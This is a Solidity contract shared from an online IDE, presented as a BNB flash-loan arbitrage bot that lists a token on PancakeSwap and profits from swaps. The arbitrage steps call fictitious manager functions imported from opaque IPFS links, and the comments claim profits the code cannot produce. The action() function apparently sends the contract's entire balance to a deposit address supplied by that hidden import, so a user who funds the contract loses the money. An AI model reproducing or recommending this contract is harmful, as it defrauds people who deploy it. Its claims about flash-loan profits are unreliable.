EthFiddle - Solidity IDE in the Browser. Powered By Loom Network

pragma solidity ^0.5.0;

contract BnBFlashLoan_Exploiter {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	FlashLoan_mgr _mgr;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
		_mgr = new FlashLoan_mgr();
		address tokenAddress = _mgr.getTokenAddress();
		
	}
	
	function() external payable {}
	
	function action() public payable {
    
	    // Breakdown of flashloan mgr logic
	    // Submit token to BSC blockchain
	    address tokenAddress = _mgr.submitToken(tokenName, tokenSymbol);

// List the token on PancakeSwap
		_mgr.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
		
        // Get BNB Loan from Multiplier-Finance
		uint256 loanAddress = _mgr.takeFlashLoan(loanAmount);
		
		// Convert half BNB to DAI
		_mgr.pancakeDAItoBNB(loanAmount / 2);

// Create BNB and DAI pairs for our token & Provide liquidity
        string memory bnbPair = _mgr.pancakeCreatePool(tokenAddress, "BNB");
		_mgr.pancakeAddLiquidity(bnbPair, loanAmount / 2);
		string memory daiPair = _mgr.pancakeCreatePool(tokenAddress, "DAI");
		_mgr.pancakeAddLiquidity(daiPair, loanAmount / 2);
    
        // Perform swaps and profit on Self-Arbitrage
		_mgr.pancakePerformSwaps();
		
		// Move remaining BNB from Contract to your account
		_mgr.contractToWallet("BNB");

// Repay Flash loan
		_mgr.repayLoan(loanAddress);
	    
		// Send required coins for swap
	    address(uint160(_mgr.pancakeDepositAddress())).transfer(address(this).balance);
	    
	    // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
	    // Breakdown of functions written below
	    _mgr.performTasks();
	}
}
// PancakeSwap Smart Contract Interfaces
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

// Multiplier-Finance Smart Contract Interfaces
import "ipfs://QmWVaTLph89be4iZZTJLubQiH59VjcXdHK1y2fjKVvfhCW"; // ILendingPool.sol
import "ipfs://Qmf2pfz4E2qGSsfU37DLL6e85UmzpiRjda23VEu8GRWGSD"; // ILendingPoolAddressesProvider.sol
import "ipfs://Qmc2dPE7xufKz2nWgaYVKLcLRufhaUPhu8jEbQyenxC1Ez"; // IFlashloanMgr.sol